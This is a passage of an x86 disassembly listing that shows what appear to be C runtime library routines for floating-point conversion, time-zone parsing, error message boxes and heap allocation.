ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4243ED lea eax, [ebp+var_C] xor esi, esi push eax call sub_4242D8 test eax, eax pop ecx jnz loc_4244AC lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx loc_4243E5: ; CODE XREF: sub_424380+E4j push 2 loc_4243E7: ; CODE XREF: sub_424380+110j pop eax jmp loc_4244AE ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424380+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4242B1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 add esp, 10h test eax, eax jz short loc_42440E inc ebx loc_42440E: ; CODE XREF: sub_424380+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424426 lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx jmp short loc_424462 ; --------------------------------------------------------------------------- loc_424426: ; CODE XREF: sub_424380+98j cmp ebx, eax jg short loc_424469 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4242B1 lea eax, [ebp+var_C] push esi push eax call sub_4242F3 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_4242F3 add esp, 20h loc_424462: ; CODE XREF: sub_424380+A4j xor esi, esi jmp loc_4243E5 ; --------------------------------------------------------------------------- loc_424469: ; CODE XREF: sub_424380+A8j cmp ebx, [edi] jl short loc_424495 lea eax, [ebp+var_C] push eax call sub_4242CC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_4242F3 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4243E7 ; --------------------------------------------------------------------------- loc_424495: ; CODE XREF: sub_424380+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_4242F3 pop ecx pop ecx loc_4244AC: ; CODE XREF: sub_424380+55j xor eax, eax loc_4244AE: ; CODE XREF: sub_424380+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4244DD mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4244E7 ; --------------------------------------------------------------------------- loc_4244DD: ; CODE XREF: sub_424380+14Ej cmp edi, 20h jnz short loc_4244E7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4244E7: ; CODE XREF: sub_424380+15Bj ; sub_424380+160j pop edi pop esi pop ebx leave retn sub_424380 endp ; =============== S U B R O U T I N E ======================================= sub_4244EC proc near ; CODE XREF: sub_424518+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CCA8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_4244EC endp ; =============== S U B R O U T I N E ======================================= sub_424502 proc near ; CODE XREF: sub_424545+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CCC0 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_424502 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424518 proc near ; CODE XREF: sub_42199B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4244EC add esp, 24h leave retn sub_424518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424545 proc near ; CODE XREF: sub_42199B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424502 add esp, 24h leave retn sub_424545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424572 proc near ; CODE XREF: sub_4219D9+65p ; sub_421ADD+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4245AF mov [ebp+arg_0], ebx xor ebx, ebx loc_424595: ; CODE XREF: sub_424572+38j mov dl, [ecx] test dl, dl jz short loc_4245A1 movsx edx, dl inc ecx jmp short loc_4245A4 ; --------------------------------------------------------------------------- loc_4245A1: ; CODE XREF: sub_424572+27j push 30h pop edx loc_4245A4: ; CODE XREF: sub_424572+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424595 mov edx, [ebp+arg_8] loc_4245AF: ; CODE XREF: sub_424572+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4245C8 cmp byte ptr [ecx], 35h jl short loc_4245C8 loc_4245BB: ; CODE XREF: sub_424572+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4245C6 mov byte ptr [eax], 30h jmp short loc_4245BB ; --------------------------------------------------------------------------- loc_4245C6: ; CODE XREF: sub_424572+4Dj inc byte ptr [eax] loc_4245C8: ; CODE XREF: sub_424572+42j ; sub_424572+47j cmp byte ptr [esi], 31h jnz short loc_4245D2 inc dword ptr [edx+4] jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_4245D2: ; CODE XREF: sub_424572+59j push edi call sub_41AFE0 inc eax push eax push edi push esi call sub_41CC90 add esp, 10h loc_4245E4: ; CODE XREF: sub_424572+5Ej pop edi pop esi pop ebx pop ebp retn sub_424572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp ; sub_421ADD+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42464D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DB4A0 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4256C2 mov dword_4DB4C8, eax add esp, 18h movsx eax, byte_4DB4A2 mov dword_4DB4C0, eax pop edi movsx eax, word_4DB4A0 mov dword_4DB4C4, eax mov dword_4DB4CC, offset dword_4DB4A4 mov eax, offset dword_4DB4C0 pop esi leave retn sub_4245E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42464D proc near ; CODE XREF: sub_4245E9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_42469B cmp ebx, edi jz short loc_424694 lea edi, [ecx+3C00h] jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_424694: ; CODE XREF: sub_42464D+3Dj mov edi, 7FFFh jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_42469B: ; CODE XREF: sub_42464D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4246B3 cmp edx, ebx jnz short loc_4246B3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_4246FE ; --------------------------------------------------------------------------- loc_4246B3: ; CODE XREF: sub_42464D+52j ; sub_42464D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4246BC: ; CODE XREF: sub_42464D+45j ; sub_42464D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4246D4: ; CODE XREF: sub_42464D+A6j test ecx, esi jnz short loc_4246F5 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4246D4 ; --------------------------------------------------------------------------- loc_4246F5: ; CODE XREF: sub_42464D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_4246FE: ; CODE XREF: sub_42464D+64j pop edi pop esi pop ebx leave retn sub_42464D endp ; --------------------------------------------------------------------------- push 2 call sub_41DA29 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42470C proc near ; DATA XREF: ___:0043C8E8o ; ___:0043D148o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42472F cmp dword ptr [eax+10h], 3 jnz short loc_42472F cmp dword ptr [eax+14h], 19930520h jnz short loc_42472F jmp sub_42255C ; --------------------------------------------------------------------------- loc_42472F: ; CODE XREF: sub_42470C+Dj ; sub_42470C+13j ... mov eax, dword_4DB4D0 test eax, eax jz short loc_42474C push eax call sub_4247A8 test eax, eax pop ecx jz short loc_42474C push esi call dword_4DB4D0 jmp short loc_42474E ; --------------------------------------------------------------------------- loc_42474C: ; CODE XREF: sub_42470C+2Aj ; sub_42470C+35j xor eax, eax loc_42474E: ; CODE XREF: sub_42470C+3Ej pop esi retn 4 sub_42470C endp ; --------------------------------------------------------------------------- word_424752 dw 0C68h ; DATA XREF: ___:00429028o ; --------------------------------------------------------------------------- inc edi inc edx add [eax+1BC785E8h], dl add ah, byte ptr dword_4DB4D0[ebx] retn ; --------------------------------------------------------------------------- byte_424763 db 0FFh ; DATA XREF: ___:00429040o dd 4DB4D035h, 73E89000h, 0C3021BC7h ; =============== S U B R O U T I N E ======================================= sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp ; sub_4222C2+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 25E0ADBh test eax, eax jz short loc_424788 xor esi, esi loc_424788: ; CODE XREF: sub_424770+14j mov eax, esi pop esi retn sub_424770 endp ; =============== S U B R O U T I N E ======================================= sub_42478C proc near ; CODE XREF: sub_4222C2+73p ; sub_4222C2+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 28C0915h nop test eax, eax jz short loc_4247A4 xor esi, esi loc_4247A4: ; CODE XREF: sub_42478C+14j mov eax, esi pop esi retn sub_42478C endp ; =============== S U B R O U T I N E ======================================= sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp ; sub_42470C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 25E0A6Eh test eax, eax jz short loc_4247BC xor esi, esi loc_4247BC: ; CODE XREF: sub_4247A8+10j mov eax, esi pop esi retn sub_4247A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42255C loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj push 0Ah call sub_4235C9 push 16h call sub_425955 pop ecx pop ecx push 3 call sub_41B7C2 ; END OF FUNCTION CHUNK FOR sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p cmp dword_4DB590, 0 jnz short locret_4247EB call sub_4247EC inc dword_4DB590 locret_4247EB: ; CODE XREF: sub_4247D7+7j retn sub_4247D7 endp ; =============== S U B R O U T I N E ======================================= sub_4247EC proc near ; CODE XREF: sub_4247D7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4DB4D8, ebp mov dword_43CD80, ebx mov dword_43CD70, ebx call sub_425AC7 mov esi, eax pop ecx cmp esi, ebp jnz loc_424915 push offset dword_4DB4E0 nop call near ptr 2880000h cmp eax, ebx jz loc_424A44 mov eax, dword_4DB4E0 mov ecx, dword_4DB534 imul eax, 3Ch cmp word_4DB526, bp push 1 pop edx mov dword_43CCD8, eax mov dword_4DB4D8, edx jz short loc_424863 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43CCD8, eax loc_424863: ; CODE XREF: sub_4247EC+69j cmp word_4DB57A, bp jz short loc_424887 mov eax, dword_4DB588 cmp eax, ebp jz short loc_424887 sub eax, ecx mov dword_43CCDC, edx imul eax, 3Ch mov dword_43CCE0, eax jmp short loc_424893 ; --------------------------------------------------------------------------- loc_424887: ; CODE XREF: sub_4247EC+7Ej ; sub_4247EC+87j mov dword_43CCDC, ebp mov dword_43CCE0, ebp loc_424893: ; CODE XREF: sub_4247EC+99j lea eax, [esp+14h+var_4] mov esi, dword_42717C push eax push ebp push 3Fh mov edi, 220h push off_43CD64 push ebx push offset dword_4DB4E4 push edi push dword_4DB374 call esi test eax, eax jz short loc_4248D0 cmp [esp+14h+var_4], ebp jnz short loc_4248D0 mov eax, off_43CD64 and byte ptr [eax+3Fh], 0 jmp short loc_4248D8 ; --------------------------------------------------------------------------- loc_4248D0: ; CODE XREF: sub_4247EC+D1j ; sub_4247EC+D7j mov eax, off_43CD64 and byte ptr [eax], 0 loc_4248D8: ; CODE XREF: sub_4247EC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43CD68 push ebx push offset dword_4DB538 push edi push dword_4DB374 call esi test eax, eax jz loc_424A3C cmp [esp+14h+var_4], ebp jnz loc_424A3C mov eax, off_43CD68 and byte ptr [eax+3Fh], 0 jmp loc_424A44 ; --------------------------------------------------------------------------- loc_424915: ; CODE XREF: sub_4247EC+2Dj cmp byte ptr [esi], 0 jz loc_424A44 mov eax, dword_4DB58C cmp eax, ebp jz short loc_424938 push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_424A44 loc_424938: ; CODE XREF: sub_4247EC+139j push dword_4DB58C call sub_41B0B1 push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 add esp, 0Ch cmp eax, ebp mov dword_4DB58C, eax jz loc_424A44 push esi push eax call sub_41BEB0 push 3 push esi push off_43CD64 call sub_41B5F0 mov eax, off_43CD64 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42498D push 1 inc esi pop edi loc_42498D: ; CODE XREF: sub_4247EC+19Bj push esi call sub_41B6EE pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43CCD8, ecx loc_4249A4: ; CODE XREF: sub_4247EC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4249B2 cmp al, bl jl short loc_4249B5 cmp al, 39h jg short loc_4249B5 loc_4249B2: ; CODE XREF: sub_4247EC+1BCj inc esi jmp short loc_4249A4 ; --------------------------------------------------------------------------- loc_4249B5: ; CODE XREF: sub_4247EC+1C0j ; sub_4247EC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE imul eax, 3Ch pop ecx mov ecx, dword_43CCD8 add ecx, eax mov dword_43CCD8, ecx loc_4249D3: ; CODE XREF: sub_4247EC+1F2j mov al, [esi] cmp al, bl jl short loc_4249E0 cmp al, 39h jg short loc_4249E0 inc esi jmp short loc_4249D3 ; --------------------------------------------------------------------------- loc_4249E0: ; CODE XREF: sub_4247EC+1EBj ; sub_4247EC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE pop ecx mov ecx, dword_43CCD8 add ecx, eax mov dword_43CCD8, ecx loc_4249FB: ; CODE XREF: sub_4247EC+21Aj mov al, [esi] cmp al, bl jl short loc_424A08 cmp al, 39h jg short loc_424A08 inc esi jmp short loc_4249FB ; --------------------------------------------------------------------------- loc_424A08: ; CODE XREF: sub_4247EC+1CCj ; sub_4247EC+1F7j ... cmp edi, ebp jz short loc_424A14 neg ecx mov dword_43CCD8, ecx loc_424A14: ; CODE XREF: sub_4247EC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43CCDC, eax jz short loc_424A3C push 3 push esi push off_43CD68 call sub_41B5F0 mov eax, off_43CD68 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424A44 ; --------------------------------------------------------------------------- loc_424A3C: ; CODE XREF: sub_4247EC+10Bj ; sub_4247EC+115j ... mov eax, off_43CD68 and byte ptr [eax], 0 loc_424A44: ; CODE XREF: sub_4247EC+40j ; sub_4247EC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4247EC endp ; =============== S U B R O U T I N E ======================================= sub_424A4A proc near ; CODE XREF: sub_422669+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43CCDC, edi jnz short loc_424A5E loc_424A57: ; CODE XREF: sub_424A4A+148j ; sub_424A4A+150j ... xor eax, eax jmp loc_424BAA ; --------------------------------------------------------------------------- loc_424A5E: ; CODE XREF: sub_424A4A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43CD70 jnz short loc_424A7C cmp eax, dword_43CD80 jz loc_424B7E loc_424A7C: ; CODE XREF: sub_424A4A+24j cmp dword_4DB4D8, edi jz loc_424B54 movzx ecx, word_4DB586 push ecx cmp word_4DB578, di movzx ecx, word_4DB584 push ecx movzx ecx, word_4DB582 push ecx movzx ecx, word_4DB580 push ecx jnz short loc_424ACE movzx ecx, word_4DB57C push edi push ecx movzx ecx, word_4DB57E push ecx movzx ecx, word_4DB57A push ecx push eax push ebx jmp short loc_424AE2 ; --------------------------------------------------------------------------- loc_424ACE: ; CODE XREF: sub_424A4A+65j movzx ecx, word_4DB57E push ecx push edi movzx ecx, word_4DB57A push edi push ecx push eax push edi loc_424AE2: ; CODE XREF: sub_424A4A+82j push ebx call sub_424BF6 movzx eax, word_4DB532 add esp, 2Ch cmp word_4DB524, di push eax movzx eax, word_4DB530 push eax movzx eax, word_4DB52E push eax movzx eax, word_4DB52C push eax jnz short loc_424B3C movzx eax, word_4DB528 push edi push eax movzx eax, word_4DB52A push eax movzx eax, word_4DB526 push eax push dword ptr [esi+14h] push ebx loc_424B31: ; CODE XREF: sub_424A4A+108j push edi call sub_424BF6 add esp, 2Ch jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B3C: ; CODE XREF: sub_424A4A+C8j movzx eax, word_4DB52A push eax push edi movzx eax, word_4DB526 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424B31 ; --------------------------------------------------------------------------- loc_424B54: ; CODE XREF: sub_424A4A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424BF6 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424BF6 add esp, 58h loc_424B7E: ; CODE XREF: sub_424A4A+2Cj ; sub_424A4A+F0j mov edx, dword_43CD74 mov eax, dword_43CD84 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424BAE cmp ecx, edx jl loc_424A57 cmp ecx, eax jg loc_424A57 cmp ecx, edx jle short loc_424BC2 cmp ecx, eax jge short loc_424BC2 loc_424BA8: ; CODE XREF: sub_424A4A+166j ; sub_424A4A+16Aj mov eax, ebx loc_424BAA: ; CODE XREF: sub_424A4A+Fj ; sub_424A4A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424BAE: ; CODE XREF: sub_424A4A+144j cmp ecx, eax jl short loc_424BA8 cmp ecx, edx jg short loc_424BA8 cmp ecx, eax jle short loc_424BC2 cmp ecx, edx jl loc_424A57 loc_424BC2: ; CODE XREF: sub_424A4A+158j ; sub_424A4A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424BE9 xor ecx, ecx cmp eax, dword_43CD78 setnl cl loc_424BE5: ; CODE XREF: sub_424A4A+1AAj mov eax, ecx jmp short loc_424BAA ; --------------------------------------------------------------------------- loc_424BE9: ; CODE XREF: sub_424A4A+18Ej xor ecx, ecx cmp eax, dword_43CD88 setl cl jmp short loc_424BE5 sub_424A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p ; sub_424A4A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424C91 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424C21 shl esi, 2 mov eax, dword_43CD88[esi] jmp short loc_424C2A ; --------------------------------------------------------------------------- loc_424C21: ; CODE XREF: sub_424BF6+1Ej shl esi, 2 mov eax, dword_43CDBC[esi] loc_424C2A: ; CODE XREF: sub_424BF6+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_424C64 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424C6E ; --------------------------------------------------------------------------- loc_424C64: ; CODE XREF: sub_424BF6+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424C6E: ; CODE XREF: sub_424BF6+6Cj cmp [ebp+arg_10], 5 jnz short loc_424CAC cmp [ebp+arg_8], 0 jnz short loc_424C82 mov esi, dword_43CD8C[esi] jmp short loc_424C88 ; --------------------------------------------------------------------------- loc_424C82: ; CODE XREF: sub_424BF6+82j mov esi, dword_43CDC0[esi] loc_424C88: ; CODE XREF: sub_424BF6+8Aj cmp ecx, esi jle short loc_424CAC sub ecx, 7 jmp short loc_424CAC ; --------------------------------------------------------------------------- loc_424C91: ; CODE XREF: sub_424BF6+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424CA2 mov ecx, dword_43CD88[eax*4] jmp short loc_424CA9 ; --------------------------------------------------------------------------- loc_424CA2: ; CODE XREF: sub_424BF6+A1j mov ecx, dword_43CDBC[eax*4] loc_424CA9: ; CODE XREF: sub_424BF6+AAj add ecx, [ebp+arg_18] loc_424CAC: ; CODE XREF: sub_424BF6+7Cj ; sub_424BF6+94j ... cmp [ebp+arg_0], 1 jnz short loc_424CDD mov eax, [ebp+arg_1C] mov dword_43CD74, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43CD70, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD78, eax jmp short loc_424D32 ; --------------------------------------------------------------------------- loc_424CDD: ; CODE XREF: sub_424BF6+BAj mov eax, [ebp+arg_1C] mov dword_43CD84, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43CCE0 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD88, eax jns short loc_424D15 add eax, 5265C00h dec ecx mov dword_43CD88, eax jmp short loc_424D26 ; --------------------------------------------------------------------------- loc_424D15: ; CODE XREF: sub_424BF6+110j mov edx, 5265C00h cmp eax, edx jl short loc_424D2C sub eax, edx inc ecx mov dword_43CD88, eax loc_424D26: ; CODE XREF: sub_424BF6+11Dj mov dword_43CD84, ecx loc_424D2C: ; CODE XREF: sub_424BF6+126j mov dword_43CD80, ebx loc_424D32: ; CODE XREF: sub_424BF6+E5j pop esi pop ebx pop ebp retn sub_424BF6 endp ; =============== S U B R O U T I N E ======================================= sub_424D36 proc near ; CODE XREF: ___:00422E9Dp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424D47 add esp, 0Ch retn sub_424D36 endp ; =============== S U B R O U T I N E ======================================= sub_424D47 proc near ; CODE XREF: sub_424D36+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DC821[eax], cl jnz short loc_424D74 cmp [esp+arg_4], 0 jz short loc_424D6D movzx eax, word_43C332[eax*2] and eax, [esp+arg_4] jmp short loc_424D6F ; --------------------------------------------------------------------------- loc_424D6D: ; CODE XREF: sub_424D47+16j xor eax, eax loc_424D6F: ; CODE XREF: sub_424D47+24j test eax, eax jnz short loc_424D74 retn ; --------------------------------------------------------------------------- loc_424D74: ; CODE XREF: sub_424D47+Fj ; sub_424D47+2Aj push 1 pop eax retn sub_424D47 endp ; =============== S U B R O U T I N E ======================================= sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DB594, ebx push esi push edi jnz short loc_424DC7 push offset aUser32_dll ; "user32.dll" nop call near ptr 2690C6Fh mov edi, eax cmp edi, ebx jz short loc_424DFD mov esi, dword_4270BC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DB594, eax jz short loc_424DFD push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DB598, eax call esi mov dword_4DB59C, eax loc_424DC7: ; CODE XREF: sub_424D78+Bj mov eax, dword_4DB598 test eax, eax jz short loc_424DE6 call eax mov ebx, eax test ebx, ebx jz short loc_424DE6 mov eax, dword_4DB59C test eax, eax jz short loc_424DE6 push ebx call eax mov ebx, eax loc_424DE6: ; CODE XREF: sub_424D78+56j ; sub_424D78+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DB594 loc_424DF9: ; CODE XREF: sub_424D78+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424DFD: ; CODE XREF: sub_424D78+1Cj ; sub_424D78+33j xor eax, eax jmp short loc_424DF9 sub_424D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E01 proc near ; CODE XREF: sub_423936+22p ; sub_423936+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_424E22 test esi, esi jnz short loc_424E1C push 1 pop esi loc_424E1C: ; CODE XREF: sub_424E01+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_424E22: ; CODE XREF: sub_424E01+12j ; sub_424E01+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424E81 mov eax, dword_4DC948 cmp eax, 3 jnz short loc_424E4D mov eax, [ebp+arg_0] cmp eax, dword_4DC940 ja short loc_424E6C push eax call sub_41E1CB mov edi, eax pop ecx test edi, edi jnz short loc_424E97 jmp short loc_424E6C ; --------------------------------------------------------------------------- loc_424E4D: ; CODE XREF: sub_424E01+30j cmp eax, 2 jnz short loc_424E6C cmp esi, dword_43C324 ja short loc_424E6C mov eax, esi shr eax, 4 push eax call sub_41EC6E mov edi, eax pop ecx test edi, edi jnz short loc_424EAB loc_424E6C: ; CODE XREF: sub_424E01+3Bj ; sub_424E01+4Aj ... push esi push 8 push dword_4DC944 call near ptr 27B0000h nop mov edi, eax test edi, edi jnz short loc_424EA5 loc_424E81: ; CODE XREF: sub_424E01+26j cmp dword_4DB32C, 0 jz short loc_424EA5 push esi call sub_41F312 test eax, eax pop ecx jz short loc_424EAE jmp short loc_424E22 ; --------------------------------------------------------------------------- loc_424E97: ; CODE XREF: sub_424E01+48j push [ebp+arg_0] loc_424E9A: ; CODE XREF: sub_424E01+ABj push 0 push edi call sub_41B590 add esp, 0Ch loc_424EA5: ; CODE XREF: sub_424E01+7Ej ; sub_424E01+87j mov eax, edi loc_424EA7: ; CODE XREF: sub_424E01+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E01+69j push esi jmp short loc_424E9A ; --------------------------------------------------------------------------- loc_424EAE: ; CODE XREF: sub_424E01+92j xor eax, eax jmp short loc_424EA7 sub_424E01 endp ; --------------------------------------------------------------------------- ; START OF 